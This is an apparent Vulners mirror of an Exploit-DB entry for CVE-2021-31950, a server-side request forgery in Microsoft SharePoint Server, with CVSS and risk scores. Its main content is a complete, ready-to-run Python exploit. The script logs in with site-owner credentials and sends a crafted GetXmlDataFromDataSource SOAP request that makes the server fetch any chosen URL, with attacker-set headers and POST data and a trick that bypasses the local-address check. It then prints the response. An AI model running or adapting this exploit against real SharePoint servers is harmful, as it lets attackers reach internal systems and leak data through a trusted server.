Lucene search
K

Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)

🗓️ 11 Jun 2021 00:00:00Reported by Alex BirnbergType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 497 Views

Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' SSRF vulnerability exploit allows an attacker to make unauthorized requests from the server, leading to potential data leakage and unauthorized access

Related
Code
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
# Date: 09 Jun 2021
# Exploit Author: Alex Birnberg
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
# Version: 16.0.10372.20060
# Tested on: Windows Server 2019
# CVE : CVE-2021-31950

#!/usr/bin/env python3

import html
import random
import string
import xml.sax.saxutils
import textwrap
import requests
import argparse
import xml.etree.ElementTree as ET
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import urlencode, urlparse

class Exploit:
  def __init__(self, args):
    o = urlparse(args.url)
    self.url = args.url
    self.service = o.path
    self.username = args.username
    self.password = args.password
    self.target = args.target
    self.headers = args.header 
    self.method = args.request
    self.data = args.data
    self.content_type = args.content_type
    self.s = requests.Session()
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    }
    self.s.proxies = {
      'http': 'http://127.0.0.1:8080'
    }

  def trigger(self):
    headers = ''
    if self.headers:
      for header in self.headers:
        header = list(map(lambda x: x.strip(), header.split(':')))
        if len(header) != 2:
          continue
        headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
    method = ''
    bypass_local = ''
    if self.method and self.method.upper() == 'POST':
      method = 'HTTP Post'
    else:
      method = 'HTTP Get'
      bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
    content_type = ''
    if self.content_type and len(self.content_type):
      content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
    data = ''
    if self.data and len(self.data):
      data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))
    query_xml = textwrap.dedent('''\
    <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">
      <udc:ConnectionInfo>
        <udcs:Location href="">XMLURLDataAdapter</udcs:Location>
        <soap:Header>
          <dsp:versions>
          </dsp:versions>
          <dsp:request method="query" />
        </soap:Header>
        <soap:Body>
          <dsp:queryRequest>
            <dsp:ptQuery>
              <dataurl:Headers>
                <dataurl:Url href="{}" Method="{}"/>
                {}
                {}
                {}
                {}
              </dataurl:Headers>
            </dsp:ptQuery>
          </dsp:queryRequest>
        </soap:Body>
      </udc:ConnectionInfo>
    </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))	
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
            <queryXml>{}</queryXml>
          </GetXmlDataFromDataSource>
        </soap:Body>
      </soap:Envelope>'''.format(query_xml))
    r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)
    root = ET.fromstring(r.content)
    try:
      namespaces = {
        'soap': 'http://schemas.xmlsoap.org/soap/envelope/'
      }
      value = list(root.find('soap:Body', namespaces).iter())[2]   
      if value.tag == 'faultcode':
        print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)
      else:
        print(value.text)
    except:
      print(r.content)
      pass

  def soap(self, service, action, data):
    headers = {
      'SOAPAction': '"{}"'.format(action),
      'Host': 'localhost',
      'Content-Type': 'text/xml; charset=utf-8',
    }
    return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
  parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
  parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
  parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
  parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
  parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
  parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') 
  parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
  exploit = Exploit(parser.parse_args())
  exploit.trigger()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jun 2021 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 25.5
CVSS 3.17.6 - 8.1
EPSS0.01679
497